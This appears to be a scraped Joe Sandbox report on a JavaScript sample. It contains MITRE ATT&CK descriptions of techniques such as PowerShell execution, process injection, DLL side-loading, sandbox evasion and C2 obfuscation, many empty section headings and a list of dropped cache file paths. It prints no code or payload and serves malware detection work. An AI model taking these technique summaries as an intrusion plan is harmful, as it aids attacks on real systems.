Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 23268167561217715617.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5d558f93-ad2f-4588-9b26-5ec5ac3eb3b1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7ad961ab-15fc-43c7-85d8-fed1505fc205.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4ae084.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
23268167561217715617.js